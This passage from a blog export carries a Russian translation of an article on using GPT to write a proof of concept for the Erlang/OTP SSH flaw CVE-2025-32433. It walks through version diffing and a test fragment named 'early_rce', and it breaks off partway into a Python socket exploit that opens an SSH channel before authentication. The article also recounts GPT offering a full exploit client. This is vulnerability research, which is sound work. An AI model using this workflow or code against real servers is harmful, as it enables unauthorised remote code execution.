\u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0430\u0447\u0430\u0442\u044c. \u0418 \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u044d\u0442\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u043b \u0418\u0418.<\/p>\n<p>\u0416\u0435\u0441\u0442\u044c!<\/p>\n<p>\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0431\u044b\u0441\u0442\u0440\u043e \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043b\u044b\u0435 \u0435\u0433\u043e \u0447\u0430\u0441\u0442\u0438. \u041c\u044b \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c, \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043d\u043e\u0432\u0430\u044f \u044d\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0422\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0442\u0432\u0438\u0442\u0430, \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0418\u0418 \u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0431\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439 Erlang \u0438 \u0447\u0430\u0441\u043e\u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u043e\u0442\u043b\u0430\u0434\u043a\u0438. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e \u0437\u0430\u043d\u044f\u043b\u043e \u043f\u043e\u043b \u0434\u043d\u044f \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430\u043c\u0438.<\/p>\n<p>\u042d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u043e? \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u0442\u043e, \u0438 \u0434\u0440\u0443\u0433\u043e\u0435. \u042d\u0442\u043e \u0434\u0435\u043c\u043e\u043a\u0440\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0436\u0430\u044f \u0431\u0430\u0440\u044c\u0435\u0440 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u041d\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0436\u043d\u044b \u043a\u0430\u043a \u043d\u0438\u043a\u043e\u0433\u0434\u0430.<\/p>\n<p>\u041e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u0441\u043f\u0430\u0441\u0438\u0431\u043e\u00a0<a href=\"https:\/\/www.horizon3.ai\/\" rel=\"noopener noreferrer nofollow\">Horizon3<\/a>\u00a0\u0438 \u0424\u0430\u0431\u0438\u0430\u043d\u0443 \u0411\u043e\u0439\u043c\u0435\u0440\u0443 \u0437\u0430 \u0438\u0445 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0418\u0445 \u0440\u0430\u0431\u043e\u0442\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u043b\u044c\u043d\u0435\u0435.<\/p>\n<hr\/>\n<p>\u042f \u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u044c\u044e \u0434\u043b\u044f \u0432\u0430\u0441, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443\u0432\u0435\u0440\u0435\u043d \u0432 \u0435\u0451 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f &#8212; \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u0435\u0439\u0441 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u0441\u0430\u043c\u044b\u043c \u0441\u0432\u0435\u0436\u0438\u043c CVE, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0418 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043a\u0440\u0443\u0433 \u043b\u044e\u0434\u0435\u0439, \u043a\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435.<\/p>\n<p>\u042f \u0434\u0443\u043c\u0430\u044e \u0442\u0430\u043a, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043a \u043b\u0435\u0442\u0443 2025 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439, \u0438\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0442\u043e \u0432\u0430\u0448\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430. \u041a\u0430\u043a \u0436\u0435 \u0431\u044b\u0441\u0442\u0440\u043e \u0432\u0441\u0451 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u0442\u0441\u044f&#8230;<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441\u0442\u0430\u0442\u044c\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u043c\u043d\u0435 &#171;\u0425\u0410\u0411\u0420-\u043b\u0430\u0439\u043a&#187; \u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0435 \u0432 \u043c\u043e\u0439 <a href=\"https:\/\/t.me\/+wfPSVKybeMEzZGE6\" rel=\"noopener noreferrer nofollow\">\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c<\/a>!<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/905552\/\"> https:\/\/habr.com\/ru\/articles\/905552\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0434\u043b\u044f CVE-2025-32433<\/h3>\n<p>\u041f\u044c\u044e \u043a\u043e\u0444\u0435, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e Twitter, \u0438 \u0432\u043e\u0442 \u043e\u043d \u2014 \u0442\u0432\u0438\u0442 \u043e\u0442 Horizon3:<\/p>\n<p>\ud83d\udc49\u00a0<a href=\"https:\/\/x.com\/Horizon3Attack\/status\/1912945580902334793\" rel=\"noopener noreferrer nofollow\">https:\/\/x.com\/Horizon3Attack\/status\/1912945580902334793<\/a><\/p>\n<p>\u0423 \u043d\u0438\u0445 \u0435\u0441\u0442\u044c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0434\u043b\u044f CVE-2025-32433. \u041e\u043d\u0438 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u00ab\u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u00bb. \u041d\u043e \u043e\u043d\u0438 \u043d\u0435 \u0441\u0431\u0440\u043e\u0441\u0438\u043b\u0438 \u043a\u043e\u0434. \u0425\u043c.<\/p>\n<p>\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u044f \u043f\u043e\u0434\u0443\u043c\u0430\u043b: \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e&#8230; \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 \u0418\u0418 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u043e \u0437\u0430 \u043c\u0435\u043d\u044f?<\/p>\n<h3>\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0418\u0418?<\/h3>\n<p>\u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0434\u0430, \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e.<\/p>\n<p><strong>GPT \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043d\u044f\u043b \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 CVE, \u043d\u043e \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432\u0432\u0435\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0441\u0440\u0430\u0432\u043d\u0438\u043b \u0435\u0433\u043e \u0441\u043e \u0441\u0442\u0430\u0440\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043d\u0430\u0448\u0435\u043b \u0440\u0430\u0437\u043d\u0438\u0446\u0443, \u043d\u0430\u0448\u0435\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0434\u0430\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438. \u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0440\u0430\u0437\u0430 \u043a\u043e\u0434 \u043d\u0435 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0438 \u0442\u043e\u0433\u0434\u0430 \u0418\u0418 \u0441\u0430\u043c \u0435\u0433\u043e \u043e\u0442\u043b\u0430\u0434\u0438\u043b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b.<\/strong><\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044f \u043a \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0448\u0435\u043b.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430<\/h3>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u044f \u0441\u0434\u0435\u043b\u0430\u043b, \u044d\u0442\u043e \u0432\u0437\u044f\u043b \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u0434 python \u0432 \u0430\u043d\u0438\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c GIF-\u0444\u0430\u0439\u043b\u0435 Horizon. \u041e\u043d \u0431\u044b\u043b \u043d\u0435 \u0442\u0430\u043a\u0438\u043c \u0443\u0436 \u0431\u043e\u043b\u044c\u0448\u0438\u043c, \u043d\u043e \u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c GPT.  <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0442\u043e\u043b\u0447\u043e\u043a \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442.  <\/p>\n<h3>\u041f\u043e\u0438\u0441\u043a \u0432\u0435\u0440\u0441\u0438\u0439<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435: \u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u00a0<a href=\"https:\/\/github.com\/erlang\/otp\/security\/advisories\/GHSA-37cp-fgq5-7wc2\" rel=\"noopener noreferrer nofollow\">\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Erlang \u043d\u0430 GitHub<\/a>,\u00a0\u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0442\u0430\u043a \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u042f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u044d\u0442\u0438 \u0432\u0435\u0440\u0441\u0438\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0434\u0430\u043b GPT \u044d\u0442\u043e\u0442 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u0432\u043e\u0442 \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u043b:  <\/p>\n<pre><code>\u276f git checkout OTP-27.3.1 mkdir -p ..\/ssh_5_2_9 cp -a lib\/ssh\/\\* ..\/ssh_5_2_9\/  # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ..\/ssh_5_2_10 cp -a lib\/ssh\/\\* ..\/ssh_5_2_10\/<\/code><\/pre>\n<p>\u041e\u043d \u0434\u0430\u0436\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435. \u041f\u043e\u043b\u0435\u0437\u043d\u043e! \u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u043e \u0434\u0432\u0430 \u0441\u043d\u0438\u043c\u043a\u0430: ssh_5_2_9 (\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439) \u0438 ssh_5_2_10 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439). \u0412\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f.<\/p>\n<h3>diff.py \u2014 \u041d\u0430\u0448 \u0430\u0440\u0445\u0435\u043e\u043b\u043e\u0433 \u043a\u043e\u0434\u0430<\/h3>\n<p>GPT \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043d\u0435 \u044d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043c\u043e\u0449\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Python \u0434\u043b\u044f \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u0432\u0435\u0440\u0441\u0438\u0439:<\/p>\n<pre><code>import os import difflib  def get_source_files(base_dir):     return {         os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)         for root, _, files in os.walk(base_dir)         for f in files if f.endswith((\".erl\", \".hrl\"))     }  def safe_readlines(path):     for enc in (\"utf-8\", \"latin-1\"):         try:             with open(path, \"r\", encoding=enc) as f:                 return f.readlines()         except UnicodeDecodeError:             continue     return None  def compare_versions(dir1, dir2):     files1, files2 = get_source_files(dir1), get_source_files(dir2)     common = sorted(set(files1) &amp; set(files2))     diffs = {         path: list(difflib.unified_diff(             safe_readlines(files1[path]), safe_readlines(files2[path]),             fromfile=f\"{os.path.basename(dir1)}\/{path}\",             tofile=f\"{os.path.basename(dir2)}\/{path}\"))         for path in common         if safe_readlines(files1[path]) and safe_readlines(files2[path])     }     return diffs  # Run diff and print results base1, base2 = \"..\/ssh_5_2_9\", \"..\/ssh_5_2_10\" diffs = compare_versions(base1, base2)  print(\"\\n\ud83d\udd0d Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):\") print(\"---------------------------------------------------------\") for f, lines in diffs.items():     print(f\"{f}: {len(lines)} changed lines\")  print(\"\\n\\n\ud83d\udcc4 Full Diffs for All Changed Files:\\n\") print(\"=====================================\") for f, lines in diffs.items():     print(f\"\\n--- {f} ---\\n{''.join(lines)}\")<\/code><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b .erl \u0438 .hrl, \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0438\u0445 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0432\u043e\u0434\u043a\u0443, \u0442\u0430\u043a \u0438 \u043f\u043e\u043b\u043d\u043e\u0435 \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0418\u0442\u0430\u043a, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>....omitted for brevity... +early_rce(Config) -&gt; +    ... +    TypeReq = \"exec\", +    DataReq = &lt;&lt;?STRING(&lt;&lt;\"lists:seq(1,10).\"&gt;&gt;)&gt;&gt;, +    ... +    {send, SshMsgChannelRequest}, +    {match, disconnect(), receive_msg} ....omitted for brevity...<\/code><\/pre>\n<p>\u0414\u0430 \u2014 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e. \u042f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0441\u0435 \u0441\u044e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043b\u0438\u0441\u0442\u0430\u0442\u044c \u0432\u0435\u0447\u043d\u043e.<\/p>\n<p>\u0418\u0442\u0430\u043a (\u0438 \u0432\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043b\u0438)&#8230; \u042f \u043f\u0435\u0440\u0435\u0434\u0430\u043b \u044d\u0442\u043e ChatGPT \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0437\u0430\u043b:<\/p>\n<p>\u00ab\u042d\u0439, \u043c\u043e\u0436\u0435\u0448\u044c \u043b\u0438 \u0442\u044b \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043c\u043d\u0435, \u0447\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438?\u00bb<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u041c\u043d\u0435\u043d\u0438\u0435 GPT: \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e<\/h3>\n<p>\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0445\u043e\u0434 GPT \u2014 \u043e\u043d \u0441\u043f\u0440\u043e\u0441\u0438\u043b \u043c\u0435\u043d\u044f:<\/p>\n<p>\u00ab\u0425\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 PoC-\u043a\u043b\u0438\u0435\u043d\u0442? \u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0432 \u0441\u0442\u0438\u043b\u0435 Metasploit? \u041f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0435\u0440?\u00bb<\/p>\n<p>\u0414\u0430. \u0412\u0441\u0435 \u0445\u043e\u0442\u0438\u043c. \u041d\u0430\u0447\u043d\u0435\u043c \u0441 PoC.<\/p>\n<h3>\u041f\u0435\u0440\u0432\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 (PoC)<\/h3>\n<p>\u0412\u043e\u0442 \u0447\u0442\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b GPT. \u041a\u043e\u0434 \u044f\u0432\u043d\u043e \u0441\u044b\u0440\u043e\u0439 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u043a\u0435\u0442\u0430 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043a\u0430\u043d\u0430\u043b \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code>import socket import struct  HOST = \"127.0.0.1\"  # Change to vulnerable SSH server IP PORT = 2222         # Change to correct SSH port  # Utilities def string_payload(s):     s_bytes = s.encode(\"utf-8\")     return struct.pack(\"&gt;I\", len(s_bytes)) + s_bytes  def build_channel_open(channel_id=0):     return (         b\"\\x5a\" +  # SSH_MSG_CHANNEL_OPEN         string_payload(\"session\") +         struct.pack(\"&gt;I\", channel_id) +  # sender channel         struct.pack(\"&gt;I\", 0x68000) +     # initial window size         struct.pack(\"&gt;I\", 0x10000) +     # max packet size         